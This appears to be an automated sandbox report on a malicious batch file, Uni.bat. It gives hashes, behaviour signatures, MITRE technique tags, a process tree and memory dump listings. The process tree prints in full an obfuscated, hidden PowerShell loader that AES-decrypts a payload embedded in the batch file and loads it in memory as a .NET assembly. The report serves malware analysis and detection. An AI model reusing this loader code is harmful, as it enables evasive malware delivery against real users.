a5158b467cd4fcb6167f067dccc92bde8a850a486cdb4e29283bf755ab4566f5

General

Target

Uni.bat
Size

12.6MB
MD5

488a8bd72bd92554832ec260181e949b
SHA1

459fa680872a35b9186f45d82d29e0d60564fc10
SHA256

a5158b467cd4fcb6167f067dccc92bde8a850a486cdb4e29283bf755ab4566f5
SHA512

2de3a9d623a833cdbf9e53c59473b1c0b0a051c4e85b5ffcdd905b0af8a68a038864fa4d9d5dc195fe2851bcd1433495b883b7069862791f1242a6a4df466447
SSDEEP

49152:Lp2NpugSn0aCmtTHe6yNf0PlKAKLngb17yEo8bb8dSNMPOVnUvso+0L9zaTsGbxk:O

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2776	Uni.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
2408	cmd.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe
File opened for modification	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2776	Uni.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2776	Uni.bat.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2408 wrote to memory of 2552	2408	cmd.exe	29
PID 2408 wrote to memory of 2552	2408	cmd.exe	29
PID 2408 wrote to memory of 2552	2408	cmd.exe	29
PID 2552 wrote to memory of 2572	2552	net.exe	30
PID 2552 wrote to memory of 2572	2552	net.exe	30
PID 2552 wrote to memory of 2572	2552	net.exe	30
PID 2408 wrote to memory of 2776	2408	cmd.exe	31
PID 2408 wrote to memory of 2776	2408	cmd.exe	31
PID 2408 wrote to memory of 2776	2408	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2408
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2552
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:2572
- C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
  "Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function oDKRN($UCbcn){ $EBBsx=[System.Security.Cryptography.Aes]::Create(); $EBBsx.Mode=[System.Security.Cryptography.CipherMode]::CBC; $EBBsx.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $EBBsx.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jU/PZ5sGVHXe9eukENZ+EwRCKiahiZSWvpUTt8Zb8+E='); $EBBsx.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ub/nVYqjjldEJpQEkssoQQ=='); $RKtfb=$EBBsx.CreateDecryptor(); $return_var=$RKtfb.TransformFinalBlock($UCbcn, 0, $UCbcn.Length); $RKtfb.Dispose(); $EBBsx.Dispose(); $return_var;}function FeGSU($UCbcn){ $REgbO=New-Object System.IO.MemoryStream(,$UCbcn); $lpRdy=New-Object System.IO.MemoryStream; $NYxVA=New-Object System.IO.Compression.GZipStream($REgbO, [IO.Compression.CompressionMode]::Decompress); $NYxVA.CopyTo($lpRdy); $NYxVA.Dispose(); $REgbO.Dispose(); $lpRdy.Dispose(); $lpRdy.ToArray();}function aYwhj($UCbcn,$qsjlD){ $CQLXX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$UCbcn); $ROSPE=$CQLXX.EntryPoint; $ROSPE.Invoke($null, $qsjlD);}$wetzf=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($CnUAr in $wetzf) { if ($CnUAr.StartsWith('SEROXEN')) { $aMomv=$CnUAr.Substring(7); break; }}$dMqwU=[string[]]$aMomv.Split('\');$IoPPi=FeGSU (oDKRN ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($dMqwU[0])));$vOmrC=FeGSU (oDKRN ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($dMqwU[1])));aYwhj $vOmrC (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));aYwhj $IoPPi (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2776

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\Uni.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2776-61-0x000000001B1A0000-0x000000001B482000-memory.dmp

Filesize
2.9MB

Download
memory/2776-62-0x0000000002380000-0x0000000002388000-memory.dmp

Filesize
32KB

Download
memory/2776-67-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

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memory/2776-66-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2776-65-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2776-64-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2776-63-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp

Filesize
9.6MB

Download
memory/2776-68-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp

Filesize
9.6MB

Download
memory/2776-69-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp

Filesize
9.6MB

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Analysis

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